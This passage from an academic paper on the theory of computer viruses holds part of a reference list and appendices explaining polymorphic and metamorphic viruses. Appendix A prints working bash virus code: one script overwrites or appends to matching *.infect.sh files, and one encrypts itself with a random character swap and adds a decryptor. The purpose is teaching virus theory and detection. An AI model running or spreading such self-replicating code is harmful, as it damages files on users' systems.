2. M. Bishop. An overview of computer viruses in a research environment. Technical report, Hanover, NH, USA, 1991.
3. D. Chess and S. White. An undetectable computer virus.
4. F. Cohen. *Computer Viruses.* PhD thesis, University of Southern California, January 1986.

5. F. Cohen. Computer viruses: theory and experiments. *Comput. Secur.*, 6(1):22–35, 1987.
6. F. Cohen. Models of practical defenses against computer viruses: theory and experiments. *Comput. Secur.*, 6(1), 1987.
7. M. Davis. *Computability and unsolvability*. McGraw-Hill, 1958.
8. E. Filiol. *Les virus informatiques: théorie, pratique et applications*. Springer-Verlag France, 2004.
9. S. Goel and S. Bush. Kolmogorov complexity estimates for detection of viruses in biologically inspired security systems: a comparison with traditional approaches. *Complex.*, 9(2):54–73, 2003.
10. S. Anderson H. Thimbleby and P. Cairns. A framework for medelling trojans and computer virus infection. *Comput. J.*, 41:444–458, 1999.
11. N. Jones. Computer implementation and applications of kleene's S-m-n and recursive theorems. In Y. N. Moschovakis, editor, *Lecture Notes in Mathematics, Logic From Computer Science*, pages 243–263. 1991.
12. M. Li and P. Vitányi. *An Introduction to Kolmogorov Complexity and its Application*. Springer, 1997. (Second edition).
13. M. Ludwig. *The Giant Black Book of Computer Viruses*. American Eagle Publications, 1998.
14. P. Odiffredi. *Classical recursion theory*. North-Holland, 1989.
15. H. Rogers. *Theory of Recursive Functions and Effective Computability*. McGraw Hill, New York, 1967.
16. P. Szor. *The Art of Computer Virus Research and Defense*. Addison-Wesley Professional, 2005.
17. A. Turing and J.-Y. Girard. *La machine de Turing*. Seuil, 1995.
18. A. M. Turing. On computable numbers with an application to the entscheidungsproblem. *Proc. London Mathematical Society*, 42(2):230–265, 1936. Traduction [17].
19. V.A. Uspenskii. Enumeration operators ans the concept of program. *Uspekhi Matematicheskikh Nauk*, 11, 1956.
20. J. von Neumann and A. W. Burks. Theory of self-reproducing automata. University of Illinois Press, Champaign, IL, 1966.
21. Z. Zuo and M. Zhou. Some further theorical results about computer viruses. In *The Computer Journal*, 2004.

## A Polymorphic Viruses

A method widely used for virus detection is file scanning. It uses short strings, refered as signatures, resulting from reverse engineering of viral codes. Those signatures only match the considered virus and not healthy programs. Thus, using a search engine, if a signature is found a virus is detected.

To avoid this detection, one could consider and old virus and change some instructions in order to fool the signature recognition. As an illustration, consider the following signature of a viral bash code

```
for FName in $(ls *.infect.sh);do
```

```
  if [ ./$FName != $0 ]; then
   cat $0 > ./$FName
  fi
done
```

The following code denotes the same program but with an other signature

```
OUT=cat
for FName in $(ls *.infect.sh); do
  if [ ./$FName != $0 ]; then
   $OUT $0 > ./$FName
  fi
done
```

Polymorphic viruses use this idea, when it replicates, such a virus changes some parts of its code to look different.

Virus writers began experimenting with such techniques in the early nineties and it achieved with the creation of mutation engines. Historically the first one was "Dark Avenger". Nowadays, many mutation engines have been released, most of them use encryption, decryption functions. The idea, is to break the code into two parts, the first one is a decryptor responsible for decrypting the second part and passing the control to it. Then the second part generates a new decryptor, encrypts itself and links both parts to create a new version of the virus.

A polymorphic virus could be illustrated by the following bash code, it is a simple virus which use as polymorphic engine a swap of two characters.

```
SPCHAR=007
LENGTH=17
ALPHA=
    azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN

CHAR1=${ALPHA:`expr $RANDOM % 52`:1}
CHAR2=${ALPHA:`expr $RANDOM % 52`:1}
#add the decryptor
echo "SPCHAR=007" > ./tmp
echo "tail -n $LENGTH \$0 | sed -e \"s/$CHAR1/\
    $SPCHAR/g\" -e \"s/$CHAR2/$CHAR1/g\" -e \"s/\
    $SPCHAR/$CHAR2/g\" -e \"s/SPCHAR=$CHAR2/SPCHAR=
    $SPCHAR/g\"> ./vx" >> ./tmp
echo "./vx" >> ./tmp
echo "exit 0" >> ./tmp
```

```
#encrypt and add viral code
cat $0 | sed -e "s/$CHAR1/$SPCHAR/g" -e "s/$CHAR2/
    $CHAR1/g" -e "s/$SPCHAR/$CHAR2/g" -e "s/SPCHAR=
    $CHAR2/SPCHAR=$SPCHAR/g" >> ./tmp
#infect
for FName in $(ls *.infect.sh);do
  cat ./tmp >> ./$FName
done
rm -f ./tmp
```

## B Metamorphic viruses

To detect polymorphic computer viruses, anti virus editors have used code emulation techniques and static analysers. The idea of emulation, is to execute programs in a controled fake environment. Thus an encrypted virus will decrypt itself in this environment and some signature detection can be done. Concerning static analysers, they are improved signature maching engines which are able to recognize simple code variation.

To thward those methods, since 2001 virus writers has investigated metamorphism. This is an enhanced morphism technique. Where polymorphic engines generate a variable encryptor, a metamorhic engine generates a whole variable code using some obfuscation functions. Moreover, to fool emulation methods metamorphic viruses can alter their behavior if they detect a controled environment.

When it is executed, a metamorphic virus desassembles its own code, reverse engineers it and transforms it using its environment. If it detects that his environment is controled, it transforms itself into a healthy program, else it recreates a new whole viral code using reverse ingineered information, in order to generate a replication semantically indentical but programmatically different.

Such a virus is really difficult to analyse, thus it could take a long period to understand its behavior. During this period, it replicates freely.

Intuitively, polymorphic viruses mutates without concidering their environment whereas metamophic viruses spawn their next generation using new information. As a matter of fact, to capture this notion, one must consider the equation $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x)$ in its entirety.